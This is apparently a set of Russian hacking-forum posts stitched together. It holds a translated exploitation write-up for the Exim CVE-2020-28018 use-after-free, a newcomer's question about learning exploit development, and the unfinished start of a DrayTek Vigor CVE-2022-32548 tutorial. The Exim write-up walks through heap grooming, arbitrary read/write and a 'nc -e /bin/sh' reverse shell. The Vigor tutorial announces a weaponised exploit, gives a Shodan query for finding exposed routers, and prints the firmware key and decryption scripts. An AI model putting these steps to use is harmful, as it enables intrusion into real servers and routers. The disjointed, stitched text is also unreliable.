Если места нет, он проверяет, есть ли свободный блок, а затем при последней попытке вызвать malloc() для удовлетворения запроса (требование - минимум STORE_BLOCK_SIZE, если меньше этого, он будет использоваться как размер за выделение).
Наконец, новый блок добавляется в связанный список пула.
C:Copy to clipboard
void
store_reset_3(void *ptr, const char *filename, int linenumber)
{
storeblock * bb;
storeblock * b = current_block[store_pool];
char * bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
int newlength;
store_last_get[store_pool] = NULL;
if (CS ptr < bc || CS ptr > bc + b->length)
{
for (b = chainbase[store_pool]; b; b = b->next)
{
bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
if (CS ptr >= bc && CS ptr <= bc + b->length) break;
}
if (!b)
log_write(0, LOG_MAIN|LOG_PANIC_DIE, "internal error: store_reset(%p) "
"failed: pool=%d %-14s %4d", ptr, store_pool, filename, linenumber);
}
newlength = bc + b->length - CS ptr;
...
(void) VALGRIND_MAKE_MEM_NOACCESS(ptr, newlength);
yield_length[store_pool] = newlength - (newlength % alignment);
next_yield[store_pool] = CS ptr + (newlength % alignment);
current_block[store_pool] = b;
if (yield_length[store_pool] < STOREPOOL_MIN_SIZE &&
b->next &&
b->next->length == STORE_BLOCK_SIZE)
{
b = b->next;
...
(void) VALGRIND_MAKE_MEM_NOACCESS(CS b + ALIGNED_SIZEOF_STOREBLOCK,
b->length - ALIGNED_SIZEOF_STOREBLOCK);
}
bb = b->next;
b->next = NULL;
while ((b = bb))
{
...
bb = bb->next;
pool_malloc -= b->length + ALIGNED_SIZEOF_STOREBLOCK;
store_free_3(b, filename, linenumber);
}
...
}
Сброс хранилища выполняет сброс/освобождение с учетом точки сброса. Все последующие блоки в блоке, который содержит reset_point, будут освобождены. И, наконец, указатель yield будет восстановлен в том же блоке.
C:Copy to clipboard
BOOL
store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
int linenumber)
{
int inc = newsize - oldsize;
int rounded_oldsize = oldsize;
if (rounded_oldsize % alignment != 0)
rounded_oldsize += alignment - (rounded_oldsize % alignment);
if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
inc > yield_length[store_pool] + rounded_oldsize - oldsize)
return FALSE;
...
if (newsize % alignment != 0) newsize += alignment - (newsize % alignment);
next_yield[store_pool] = CS ptr + newsize;
yield_length[store_pool] -= newsize - rounded_oldsize;
(void) VALGRIND_MAKE_MEM_UNDEFINED(ptr + oldsize, inc);
return TRUE;
}
Как мы увидим позже, эта функция пытается расширить память в том же блоке, если там есть свободное место.
Exim gstring’s
Exim использует нечто, называемое gstrings, как реализацию растущей строки.
Это структура, которая его определяет:
*typedef struct gstring {
int size;
int ptr;
uschar s;
} gstring;Click to expand...
**- size: размер строкового буфера.
- ptr: смещение до последнего символа в строковом буфере.
- uschar * s: определяет указатель на строковый буфер.**
Когда мы хотим получить строку, мы можем использовать string_get():
C:Copy to clipboard
gstring *
string_get(unsigned size)
{
gstring * g = store_get(sizeof(gstring) + size);
g->size = size;
g->ptr = 0;
g->s = US(g + 1);
return g;
}
Он использует store_get() для выделения буфера.
При инициализации gstring строковый буфер находится сразу после структуры.
Когда мы хотим ввести данные в нарастущую строку:
C:Copy to clipboard
gstring *
string_catn(gstring * g, const uschar *s, int count)
{
int p;
if (!g)
{
unsigned inc = count < 4096 ? 127 : 1023;
unsigned size = ((count + inc) & ~inc) + 1;
g = string_get(size);
}
p = g->ptr;
if (p + count >= g->size)
gstring_grow(g, p, count);
memcpy(g->s + p, s, count);
g->ptr = p + count;
return g;
}
string_catn() сначала проверяет, достаточно ли размера, если нет, вызывает gstring_grow().
C:Copy to clipboard
static void
gstring_grow(gstring * g, int p, int count)
{
int oldsize = g->size;
unsigned inc = oldsize < 4096 ? 127 : 1023;
g->size = ((p + count + inc) & ~inc) + 1;
if (!store_extend(g->s, oldsize, g->size))
g->s = store_newblock(g->s, g->size, p);
}
Сначала он пытается расширить блок памяти в том же блоке пула. В случае неудачи выделяется новый блок и указатель g->s заменяется новым буфером.
Списки контроля доступа eximʻa (ACL)
Списки контроля доступа (ACL) - это тип конфигурации, позволяющий изменять поведение сервера при получении команд SMTP.
ACL долгое время были хорошим способом достижения выполнения кода при эксплуатации уязвимостей Exim.
Существует определенное имя ACL под названием run, которое позволяет вам запускать команду.
Пример: ${run {ls -la}}
Этот конкретный список контроля доступа используется при эксплуатации этой уязвимости для удаленного выполнения кода.
Первопричина
Теперь, понимая, как работают расширяемые строки, распределитель пула eximʻa и ACL, давайте проанализируем основную причину этой уязвимости.
В tls-openssl.c, на tls_write():
C:Copy to clipboard
int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;
DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
buff, (unsigned long)len, more ? ", more" : "");
/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified. This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset). Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */
if (!ct_ctx && (more || corked))
{
#ifdef EXPERIMENTAL_PIPE_CONNECT
int save_pool = store_pool;
store_pool = POOL_PERM;
#endif
corked = string_catn(corked, buff, len);
#ifdef EXPERIMENTAL_PIPE_CONNECT
store_pool = save_pool;
#endif
if (more)
return len;
buff = CUS corked->s;
len = corked->ptr;
corked = NULL;
}
for (left = len; left > 0;)
{
DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
outbytes = SSL_write(ssl, CS buff, left);
error = SSL_get_error(ssl, outbytes);
DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
switch (error)
{
case SSL_ERROR_SSL:
ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
return -1;
case SSL_ERROR_NONE:
left -= outbytes;
buff += outbytes;
break;
case SSL_ERROR_ZERO_RETURN:
log_write(0, LOG_MAIN, "SSL channel closed on write");
return -1;
case SSL_ERROR_SYSCALL:
log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
sender_fullhost ? sender_fullhost : US"<unknown>",
strerror(errno));
return -1;
default:
log_write(0, LOG_MAIN, "SSL_write error %d", error);
return -1;
}
}
return len;
}
Эта функция отправляет ответы клиенту, когда сеанс TLS активен.
corked - статический указатель, его можно использовать в разных вызовах.
more с типом BOOL - это способ указать, есть ли еще данные для буферизации, или мы можем вернуть данные пользователю.
Если необходимо скопировать больше данных, возвращается len. В противном случае corked обнуляется, а содержимое corked->s возвращается клиенту.
Это означает, что мы могли бы запустить условие Use-After-Free в случае, если corked каким-то образом не получает NULLed, и после выполнения вызова smtp_reset содержимое, на которое указывает corked, будет освобождено.
Если снова дойдем до tls_write(), мы будем использовать буфер после освобождения.
Как мы можем поставить сервер в такую ситуацию?
Сначала мы инициализируем соединение с сервером и отправляем EHLO и STARTTLS, чтобы начать новый сеанс TLS, чтобы мы могли ввести tls_write() для ответов.
Если мы отправим RCPT TO или MAIL TO конвейерно с командой типа NOOP. И мы отправляем только половину NOOP(NO), а затем мы закрываем сеанс TLS, чтобы вернуться к открытому тексту, чтобы отправить другую половину (OP\n), мы вернемся к обычному тексту и, поскольку more = 1 corked указатель не будет NULL.
Теперь отправка такой команды, как EHLO, приведет к вызову smtp_reset(), которая освободит все последующие фрагменты кучи и вернет указатель yield на reset_point.
В процессе эксплуатации мы в основном имеем дело с пулом POOL_MAIN.
У нас есть статическая переменная, содержащая указатель на середину освобожденного буфера. Нам нужно использовать его для запуска UAF.
Чтобы использовать его, нам нужно вернуться к TLS-соединению, чтобы мы могли снова использовать tls_write().
Мы отправляем STARTTLS, чтобы начать новый сеанс TLS, и, наконец, отправляем любую команду. Когда сервер создает ответ на tls_write(), после освобождения будет использоваться corked.
Когда я впервые вызвал ошибку, функция из OpenSSL lib использовала мой освобожденный буфер и ввела двоичные данные, что привело к прерыванию SIGSEGV из-за недопустимого адреса памяти для corked->s:
gef➤ p *corked
$1 = {
size = 0x54595c9c,
ptr = 0xa7e800ba,
s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤ p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤Click to expand...
Утечка информации
В настоящее время большинству эксплойтов, связанных с повреждением памяти, требуется утечка памяти для успешной работы и обхода таких средств защиты, как ASLR, PIE и многие другие.
Как уже упоминалось, сама эта функция Use-After-Free позволяет удаленному злоумышленнику извлекать указатели кучи.
Когда буфер будет освобожден, другие функции начнут его использовать, например, функции, которые записывают указатели кучи в кучу.
В ответах разрешены байты NULL во время сеанса TLS. Нам просто нужно, чтобы адреса кучи утечки были введены в диапазон памяти от corked->s до corked->s + corked->ptr.
Если адрес находится в этом диапазоне, он будет возвращен клиенту.
Как мы можем записать адреса кучи в этом диапазоне?
Помимо выполнения некоторых тестов и отладки, чтобы увидеть, куда и как переместить наш буфер, есть интересный трюк - конвейерная обработка команд RCPT TO вместе для увеличения строки буфера ответа. Это заставит string_catn() вызвать gstring_grow(), которая разместит строковый буфер в другом месте.
Это поможет нам перезаписать строковый буфер, но не саму структуру gstring.
Произвольное чтение
Как только у нас есть утечка памяти, мы можем начать поиск ACL exim, как только мы определим адрес, где находится ACL, мы можем записать в него, чтобы, наконец, добиться выполнения кода.
Для этого нам нужно каким-то образом создать произвольный примитив чтения, который позволит нам читать память из кучи.
Благодаря этому Use-After-Free, очищающему кучу, мы можем перезаписать структуру gstring, что позволит нам контролировать:
**- corked- >size: размер строкового буфера
- corked->ptr: смещение до последнего записанного байта
- corked->s: указатель на строковый буфер**
Имея это, при следующей tls_write() нам будет отправлено произвольное количество байтов из произвольного места при попытке доступа к corked->s.
А как насчет NULL? Это же строки, верно?
Не! Ответы возвращаются клиенту через SSL_write(), так что никаких проблем с NULL нет, ограничение идет через corked ->ptr, которое контролируется .
С помощью этого метода мы можем читать любую память из кучи, поэтому мы можем перебирать блоки памяти, пока не найдем конфигурацию с помощью определенного запроса для поиска.
Как мне перезаписать структуру gstring?
Сначала нам нужно выровнять кучу таким образом, чтобы мы могли успешно повторно использовать целевой кусок.
В smtp_setup_msg() мы зависим от начальной reset_point.
Чтобы избежать этого ... читая handle_smtp_call(), мы видим, что есть способ увеличить reset_point в качестве начального значения для smtp_setup_msg().
C:Copy to clipboard
if (!smtp_start_session())
{
mac_smtp_fflush();
search_tidyup();
_exit(EXIT_SUCCESS);
}
for (;;)
{
int rc;
message_id[0] = 0; /* Clear out any previous message_id */
reset_point = store_get(0); /* Save current store high water point */
DEBUG(D_any)
debug_printf("Process %d is ready for new message\n", (int)getpid());
/* Smtp_setup_msg() returns 0 on QUIT or if the call is from an
unacceptable host or if an ACL "drop" command was triggered, -1 on
connection lost, and +1 on validly reaching DATA. Receive_msg() almost
always returns TRUE when smtp_input is true; just retry if no message was
accepted (can happen for invalid message parameters). However, it can yield
FALSE if the connection was forcibly dropped by the DATA ACL. */
if ((rc = smtp_setup_msg()) > 0)
{
BOOL ok = receive_msg(FALSE);
search_tidyup(); /* Close cached databases */
if (!ok) /* Connection was dropped */
{
cancel_cutthrough_connection(TRUE, US"receive dropped");
mac_smtp_fflush();
smtp_log_no_mail(); /* Log no mail if configured */
_exit(EXIT_SUCCESS);
}
if (message_id[0] == 0) continue; /* No message was accepted */
}
else
{
if (smtp_out)
{
int i, fd = fileno(smtp_in);
uschar buf[128];
mac_smtp_fflush();
/* drain socket, for clean TCP FINs */
if (fcntl(fd, F_SETFL, O_NONBLOCK) == 0)
for(i = 16; read(fd, buf, sizeof(buf)) > 0 && i > 0; ) i--;
}
cancel_cutthrough_connection(TRUE, US"message setup dropped");
search_tidyup();
smtp_log_no_mail(); /* Log no mail if configured */
/*XXX should we pause briefly, hoping that the client will be the
active TCP closer hence get the TCP_WAIT endpoint? */
DEBUG(D_receive) debug_printf("SMTP>>(close on process exit)\n");
_exit(rc ? EXIT_FAILURE : EXIT_SUCCESS);
}
Мы видим, что есть возможность вернуться к smtp_setup_msg() с увеличенным значением reset_point.
При чтении сообщения возвращаемое значение ok должно быть истинным, но нам каким-то образом нужно сделать message_id[0] == 0. Это происходит в конкретной ситуации.
Давайте прочитаем код receive_msg():
C:Copy to clipboard
/* Handle failure due to a humungously long header section. The >= allows
for the terminating \n. Add what we have so far onto the headers list so
that it gets reflected in any error message, and back up the just-read
character. */
if (message_size >= header_maxsize)
{
OVERSIZE:
next->text[ptr] = 0;
next->slen = ptr;
next->type = htype_other;
next->next = NULL;
header_last->next = next;
header_last = next;
log_write(0, LOG_MAIN, "ridiculously long message header received from "
"%s (more than %d characters): message abandoned",
f.sender_host_unknown ? sender_ident : sender_fullhost, header_maxsize);
if (smtp_input)
{
smtp_reply = US"552 Message header is ridiculously long";
receive_swallow_smtp();
goto TIDYUP; /* Skip to end of function */
}
else
{
give_local_error(ERRMESS_VLONGHEADER,
string_sprintf("message header longer than %d characters received: "
"message not accepted", header_maxsize), US"", error_rc, stdin,
header_list->next);
/* Does not return */
}
}
Если в сообщении мы отправляем очень длинную строку (в ней нет\ n), превышающую header_maxsize, произойдет ошибка.
Несмотря на то, что это ошибка, ok при возврате истинно, но message_id[0] содержит 0
Это означает, что в handle_smtp_call() мы будем следить за продолжением и вернемся к smtp_setup_msg() с увеличенным значением reset_point.
Qualys испортила структуру с параметром AUTH (часть параметров ESMTP).
Это хороший способ перезаписи, поскольку он позволяет кодировать двоичные данные в виде строк с xtext. Эта строка будет декодирована как двоичные данные при записи в выделенный буфер.
Хотя я не пошел по этому пути. Я использовал сам канал сообщений для отправки двоичных данных, и у меня с ним не было проблем.
Итак, я смог перезаписать структуру с помощью сообщения и контролировать все параметры в структуре.
Теперь мы знаем адрес, где хранится целевая конфигурация.
Используя ту же технику, которую я использовал для перезаписи целевой структуры gstring, мы можем сделать то же самое, но создать примитив Write- what-where
На этот раз corked->size должен быть большим. corked->ptr должен быть равен нулю, чтобы начать писать ответ непосредственно на corked->s.
corked->s будет содержать адрес, по которому мы хотим записать ответ нашей команды, запускающей UAF.
После того, как мы перезапишем структуру gstring такими значениями, нам нужно снова запустить Use-After-Free, инициализируя сеанс TLS.
Мы отправляем недопустимую команду MAIL FROM, поэтому часть нашей команды возвращается в ответ, что позволяет нам записывать произвольные данные.
Достижение удаленного выполнения кода
ACL перезаписывается нашей пользовательской командой, как мы можем заставить ее выполняться?
Как только ACL поврежден, в этом случае я перезаписал ACL, соответствующий командам MAIL FROM, нам нужно сделать так, чтобы этот ACL интерпретировался с помощью expand_cstring(). Для этого после MAIL FROM, который мы использовали для перезаписи ACL, мы можем конвейерно передать другую команду (MAIL FROM тоже, поскольку предыдущая не удалась), которая передаст ACL в expand_cstring(), и команда, наконец, будет выполнена.
У меня была проблема с максимальным количеством аргументов. Я не мог исполнять
nc -e /bin/sh
Поэтому я использовал это как команду: /bin/sh -c 'nc -e/bin/sh
Теперь это не даст нам проблемы с max_args, и команда будет выполнена, что приведет к реверс шеллу:
EoF
Полную версию эксплойта можно найти здесь <https://github.com/lockedbyte/CVE- Exploits/blob/master/CVE-2020-28018/exploit.c>.
Надеемся, вам понравилось эта статья! Не стесняйтесь оставлять отзывы в нашем твиттере @AdeptsOf0xCC.
Переведено специально для XSS.is
Автор перевода: yashechka
Источник: https://adepts.of0x.cc/exim-cve-2020-28018/
Привет, форумчане
Хочу научиться находить зерики. Для начала хотя бы n-day. Именно в бинарях.
Уже разобрался в stack-based buffer overflow на х86 архитектуре под винду и линукс. Разобрался, как обходить DEP/NX за счет ROP, разобрался с легкими кейсами обхода ASLR, понял что в идеале для этого надо найти утечку адреса. Разобрался как "фаззить" SPIKE'ом. Написал несколько эксплоитов для vanilla buffer overflow в реальных виндовых программах с включенным DEP и выключенным ASLR.
Но этого, похоже, всё равно мало. Пытаюсь понять, что мне дальше учить, есть какие-то догадки, хотел бы поделиться и обсудить
Есть мысль, что мне надо разобраться с х64 stack-based buffer overflow, потом с кучей и use after free, параллельно научиться фаззить с помощью AFL/AFL++ и диффать. Что думаете на этот счет? И есть ли смысл вкатываться в кернел?
Также буду очень благодарен, если кто-то накидает сюда разных обучающих материалов, вакансий, рисерчеров за которыми можно следить в каком-то твиттере или телеге, пейперов/статей, лабораторий, и всего остального по теме vulnerability research и exploit development
Всем добра
Вступление
Я не большой специалист в эксплуатации уязвимостей устройств интернета вещей,
так что если вы знаете какой-то более оптимальный способ проэкплуатировать эту
уязвимость - не стесняйтесь писать об этом в теме, будет интересно почитать.
Как и всегда напоминаю, что статья, по большей части, рассчитана на новичков,
поэтому я буду разбирать каждый момент детально. По всем вопросам можете
писать тут или обращаться в ПМ, буду рад помочь.
Вот выступление человека нашедшего уязвимость. Пусть Philippe и проделал огромную работу, он оставил (скорее всего осознанно) некоторые недосказанности, которые не позволяют сразу написать PoC к этой узявимости. Кроме того его выступление не рассчитано на новичков, поэтому я и решил написать эту статью.
На момент написания статьи в публичном доступе нет PoC экплойтов для этой уязвимости. Но сегодня, мы с вами напишем не просто PoC, а полноценный эксплойт с боевой нагрузкой. Портируем его под разные версии уязвимой прошивки, и напишем скрипт для идентификации версии. Я сознательно оставлю некоторые ошибки в эксплойтах, но любой разбирающийся человек, или просто внимательный читатель - сможет их исправить.
Содержание
Введение
Что такое IoT
Тема IoT устройств сейчас актуальна как никогда. Согласно заявлениям McKinsey
Digital, ещё в 2019 году, каждую секунду к интернету в серднем подключалось
127 новых IoT устройств. По оценкам Форбc на данный момент к интернету по
всему миру подключены около 3,5 миллиардов различных IoT устройств. Термин IoT
включает в себя устройства из совершенно разных отрослей экономики: от
медицины, сельского хозяйства и транспорта до систем умного дома. Сейчас IoT
используется почти везде, поэтому RCE уязвимости в таких устройствах
привлекают много внимания.
Экплуатация ПО IoT устройства отличается от экплуатации любой другой десктопной или серверной программы. Ключевые отличия это архитектура и ограниченность ресурсов. В IoT редко используются чипы на архитектуре x86 из за их высокой стоимости и низкой по меркам IoT энергоэффективности. В IoT чаще применяются чипы на архитектурах семейств ARM и MIPS. Малое количество вычеслительных ресурсов накладывает сильные ограничения на спект защитных механизмов которые можно реализовать, однако это варьируется от устройства к устройству. Отсутсвие антивирусных решений, а также низкий уровень защиты памяти, сильно упрощают процесс экплуатации. Зачастую в IoT устройства нет никаких сложных механизмов вроде CFG, SMEP и других. Сегодня же нас не будет ограничивать ничего, не будет ни stack cookies, ни nx битов, ничего.
Требуемые знания
Сегодня от вас не потребуется ничего экстраординарного. Достаточно простого
понимания того как эксплуатировать простейшие уязвимости класса
bufferoverflow, поверхностных знаний ассемблера x86, а также умения обращаться
с декомпилятором и отладчиком.
Но не думайте что будет скучно, сегодня мы пройдём полный путь от распаковки firmware, до полноценного эксплойта. Если у вас остануться какие-то вопросы, пишите прямо тут или мне в ПМ.
Кратко о aarch64
AArch64 или ARM64, это представленное в 2011 году 64-битное расширение
архитектуры ARM. AArch64 использует новый сет инструкций - А64. Я бы мог очень
долго распинаться о A64, но в рамках этой статьи это ни к чему. Поэтому я
поверхностно коснусь этого вопроса и оставлю ссылки для дальнейшего
самостоятельного изучения.
Если вы в первый раз видите arm, то это архитектура на которой работает ваш телефон, возможно роутер и много чего ещё. Ключевое отличие arm архитектуры от x86 это микроархитектура. Для x86 это CISC, для ARM это RISC. Если ещё проще, то в CISC больше инструкций, они занимают больше места на чипе и кушают больше энергии, в RISC же инструкций меньше, за счёт этого они меньше греются и кушают меньше энергии. Современные процессоры на архитектуре x86 комбинируют в себе и RISC и CISC, но это не тема этой статьи, так что опустим эти детали.
По ходу статьи я буду объяснять все моменты подробно, так что учить всё прямо сейчас вам не за чем. Однако если вы всё-же сильно заинтересуетесь ARM, а в частности ARMv8, то вот отличная документация для разрабочиков
Более подробную информацию о наборе инструкций A64 можно получить в этом документе
Краткую справку по устройству стека и вызовах в arm64 можно получить тут
Главное что нужно запомнить сегодня - в Aarch64 стек растёт вниз!
По ходу чтения, можете поглядывать вот в эту шпаргалку по ARM инструкциям:
Тут безусловно не всё, однако она поможет не путаться и быстро понимать в чём суть того или иного листинга декомпилятора.
Инструментарий
В качестве основного иструмента анализа, при написании этой статьи, я
использовал Binary Ninja - отличный инструмент и красивым UI. Все скрины
сегодня будут от туда.
Также нам понадобятся:
Чуть больше расскажу про binwalk, так как с его установкой всё не так очевидно как у остальных указанных инструментов. Вот репозиторий binwalk на github. Установка его кажется довольно простой, однако в дополнение к binwalk, для анализа содержимого файлов с прошивкой нам понадобится sasquatch, а вот с ним всё не так просто.
Вот репозиторий sasquatch. Но гайд по установке из самого репозитория не работает, из за проблем с объявлениями и флага -Werror, который превращает Warning'и в ошибки. Для установки я использовал следующий команды:
Bash:Copy to clipboard
git clone https://github.com/devttys0/sasquatch && cd sasquatch
ADDLINE="sed -i 's/-Wall -Werror/-Wall/g' patches/patch0.txt"
sed -i "/^tar -zxvf.*/a $ADDLINE" ./build.sh
CFLAGS=-fcommon ./build.sh
И только после сборки sasquarch, можно устанавливать binwalk.
Firmware
Про Vigor 3910
Эксплуатировать будем уязвимость CVE-2022-32548. Уровень опасности согласно
CVSS довольно высокий 9.8 или даже 10. Вот пару ссылок ссылок о узвимости:
![nvd.nist.gov](/proxy.php?image=https%3A%2F%2Fnvd.nist.gov%2Fsite- media%2Fimages%2Ffavicons%2Ffavicon-32x32.png&hash=c2e63f3f7701e49493712e42a1b49706&return_error=1) nvd.nist.gov
![www.securityweek.com](/proxy.php?image=https%3A%2F%2Fwww.securityweek.com%2Fwp- content%2Fuploads%2F2023%2F01%2FCybersecurity_News- SecurityWeek.jpg&hash=d501d07fa913cc18bfb12f9c5424fdf8&return_error=1)
Routers ](https://www.securityweek.com/smbs-exposed-attacks-critical- vulnerability-draytek-vigor-routers)
A critical vulnerability that can allow unauthenticated remote code execution affects hundreds of thousands of DrayTek Vigor routers.
www.securityweek.com
Нашей сегодняшней целью будет DrayTek Vigor 3910:
Это корпоративный маршрутизатор, особенно популярный в Южной Азии и Европе, среди среднего и крупного бизнеса. Вот список стран в которых популярны продукты DrayTek
На сайте производителя есть классное live демо, можете пощупать web интерфейс тут
На vuldb сказанно, что уязвимы все версии до
4.3.1.1. Сама уязвимость обещает быть несложной для эксплуатации, обычный
buffer overflow в странице регистрации, ведущий к RCE.
Файл прошивки нужной версии можно скачать с сайта
производителя
Распаковка прошивки
В качестве цели возьмём две версии 4.3.1 и 3.9.6, это 2 самые популярные
версии согласно скану Shodan. Скачать архивы можно тут:
Распаковать файл с прошивкой версии 4.3.1 будет немного сложнее, поэтому
давайте начнём с 3.9.6.
**
Версия 3.9.6**
В скаченном архиве нас встречает файл v3910_396.all
. Нет смысла сразу
закидывать его в binary ninja, давайте сначала пробежимся по нему с помощью
binwalk:
Внутри мы обнаруживаем unix пути, вроде /home/eason_jhan/...
или
/bin/bash
, что прямо говорит нам о том что внутри Vigor 3910 крутиться unix
операционная система. Все остальное же на первый взгляд выглядит как какой-то
кошмар. Однако если открыть файл в hex-редакторе, можно обнаружить строки
вроде этой:
Что намекает нам на то что файл был сжать неким алгоримом.
Чтобы понять что за алгоритм сжатия использовался, давайте поищем какие-нибудь
маркеры. Вот они:
Оба указывают на то, что использовался алгоритм LZ4. Первый это конец блока
сжатия, а второй - начало.
В выступлении первооткрывателя этой уязвимости приведён скрипт для распаковки firmware. Я его немного упростил, но сути это не поменяло:
Python:Copy to clipboard
import sys
import os
def decompress():
print("[*] Extracting fs from lz4 blob")
with open(sys.argv[1], "rb") as f: # Reads decrypted firmware
data = f.read()
data_start = data.find(b"\x02\x21\x4c\x18") # Searching for first bytes of LZ4 blob
if data_start == -1:
print("[!] LZ4 header not found")
return False
data_end = data.find(b"R!!!", data_start) # Search for the end of LZ4
temp_end = data_end
while temp_end != -1: # Searching for R!!! till the end
data_end = temp_end # That means that we will get the last R!!! in file
temp_end = data.find(b"R!!!", data_end+1)
if data_end == -1: # if we overflowed, throws error
print("[!] LZ4 trailer not found")
return False
data_end += (0x14-5) # calc true and offset
print("[+] Found LZ4 from {:x} to {:x}".format(data_start, data_end))
filename_out = sys.argv[1] + "_fs.lz4"
with open(filename_out, "wb") as f:
f.write(data[data_start:data_end])
os.system("lz4 -d {}".format(filename_out))
return True
if __name__ == "__main__":
decompress()
Он просто ищет в файле маркер с началом блока сжатия, потом итерируется по
файлу с поисках последнего маркера: TRAILER!!!
. Затем сохраняет найденный
блок сжатия в отдельный файл и разжимает с помощью консольного инструмента.
Вот результат работы скрипта:
То что нам нужно это файл v3910_396.all_fs
А теперь снова прогоним через binwalk:
А вот это уже похоже на файловую систему!
Теперь извлечём содержимое файла при помощи команды:
Bash:Copy to clipboard
binwalk -eM v3910_396.all_fs
Вот что мы получим на выходе:
Версия 4.3.1
И буквально пару слов о распаковке 4.3.1. Мы не будем акцентрировать внимание
на этом моменте, так как статья о экплуатации, а не о том как расшифровывать
firmware. Однако не упомянуть об этом я не могу, иначе пропущу важный но
неочевидный момент.
Распаковка версии 4.3.1 отличается всего одним дополнительным шагом вначале.
Начиная с версий 4.x.x DrayTek загружают firmware в зашифрованном виде.
Давайте убедимся в этом, прогонав файл v3910_431.all через binwalk:
В этот раз совсем кошмар, никаких намёков на то что внутри лежит Linux.
Взглянем через Hex-редактор:
Файл определённо зашифрован. Но чем? Ответ на этот вопрос даёт вот эта
строчка:
Слово nonce намекает на то что использовалось потоковое шифрование посложнее
чем xor) Давайте поищем ключ и маркеры, указывающие на конкретный алгоритм в
предыдущей версии firmware. Не буду долго вас мучать, статья и так получилась
не маленькая. Ответ кроется в версии идущей перед 4.3.1. Вот слово маркер из
файла 3.9.7.2:
После недолгих поисков в гугле становится ясно, что expand 32-byte k
оставляет нам только 2 варианта - либо salsa20, либо chacha20. Не буду долго
томить, это chacha20.
А вот и ключ, открытым текстом, прямо в том-же файле v3910_3972.all:
Опять же, не будем долго задерживаться на этом этапе, так как это всё и так
отлично раписанно в выступлении Philippа на Hexacon. Самое интересное - эксплуатация, только впереди, так что я просто скажу что в коде загрузки версии 3.9.7.2 все буквы
Jв ключе, меняются на
E`:
А вот и скрипт для расшифровки из презентации на hexacon:
Python:Copy to clipboard
import sys
from Crypto.Cipher import ChaCha20
def usage():
print("{} path_to_file path_to_nonce".format(sys.argv[0]))
def go():
print("[*] Decrypting Firmware")
if len(sys.argv) < 2:
return usage()
with open(sys.argv[1], "rb") as f:
data = f.read()
with open(sys.argv[2], "rb") as f:
msg_nonce = f.read()
if len(msg_nonce) != 0xC:
print("Invalide nonce len")
return
secret = b"0DraytekKd5Eason3DraytekKd5Eason"
cipher = ChaCha20.new(key=secret, nonce=msg_nonce)
plaintext = cipher.decrypt(data)
with open(sys.argv[1] + "_decrypted", "wb") as f:
f.write(plaintext)
print("[+] Done")
if __name__ == "__main__":
go()
Опять же ничего экстраоридинарного, просто дешифрование и запись в новый файл.
После расшифровки, процесс извлечения прошивки ни чем не отличается от версии 3.9.6. Идём дальше.
Анализ уязвимости
Вот мы и добрались до основной темы ститьи - Уязвимость. Начнём с того что
определим, какие конкретно файлы отвечают за веб-интерфейс нашего Vigor3910.
Первое что сразу бросается в глаза после извлечения файловой системы, это
папка firmware:
Здесь, внутри папки vqemu, лежит файл sohod64.bin. А все скрипты что видны на
фото выше - запускают его с помочью qemu. Это не трудно понять если взглянуть
на скрипты внутри папки firmware. Вот, для примера, run_linux.sh
:
Вот и настало время Binary Ninja. Загружаем в него sohod64.bin и приступаем к поискам.
Где RCE?
На сайте nist.gov, в описании CVE-2022-32548 указанно, что узявимость кроется
в странице входа в панель Vigor: /cgi-bin/wlogin.cgi
. А если конкретно то
это BoF в полях aa
и ab
. Найти нужную функцию можно по строкам. Нам
помогут ключевые слова, вроде cgi, wlogin, weblogin. Для удобства назовём её
cgiWebLogin
:
Давайте определим что за поля aa
и ab
. Для этого возьмём произвольный
Vigor 3910 из Shodan и посмотрим в код элемента. Вот shodan querie для поиска
устройства:
Code:Copy to clipboard
ssl:DrayTek http.status:200 product:"DrayTek Vigor3910 Series"
Передать что-то мы можем только в полях Username
и Password
:
Отправим форму и посмотрим в сам запрос:
Вот и наши поля aa
и ab
. А в них - закодированный в base64 логин и
пароль(admin/admin в данном случае)
Как работает переполнение?
Вот кусочек листинга cgiWebLogin
, где из base64 декодируются поля aa
и
ab
:
А вот и функция отвечающая за декодирование из base64:
Как вы уже наверное догадались - суть уязвимости кроется в функции
weird_strlen
. Проблема заключается в том, что для подсчёта длинны строки,
которая получится после расшифровки из base64, программа пользвуется следующей
формулой:
Code:Copy to clipboard
(x // 4)*3 - n
Где x - длинна зашифрованной строки, а n - количество знаков '=' в конце
Давайте взглянем на листинг weird_strlen
:
Она является ни чем инным, как программным отражением указанной выше формулы.
Она делит длинну исходной строки на 4, умножает на 3, а затем, в цикле
итерируется по строке с конца, и вычитает из результата единицу до тех пор,
пока не встретит любой другой символ, кроме '='.
Уже догадались в чём проблема? Мы можем добавить сколько угодно знаков '=', тем самым уменьшая размер буфера в который попадёт наша расшифрованная строка.
Давайте в этом убедимся.
**
Unicorn engine**
И тут я хочу представить вам очень полезный инструмент - Unicorn engine. Это
кроссплатформенный CPU эмулятор в формате фреймворка, представленный ещё в
2015 году. Вот его [страница на github](https://github.com/unicorn-
engine/unicorn)
Не смотря на популярность инструмента, я редко вижу чтобы его использовали для
анализа уязвимостей.
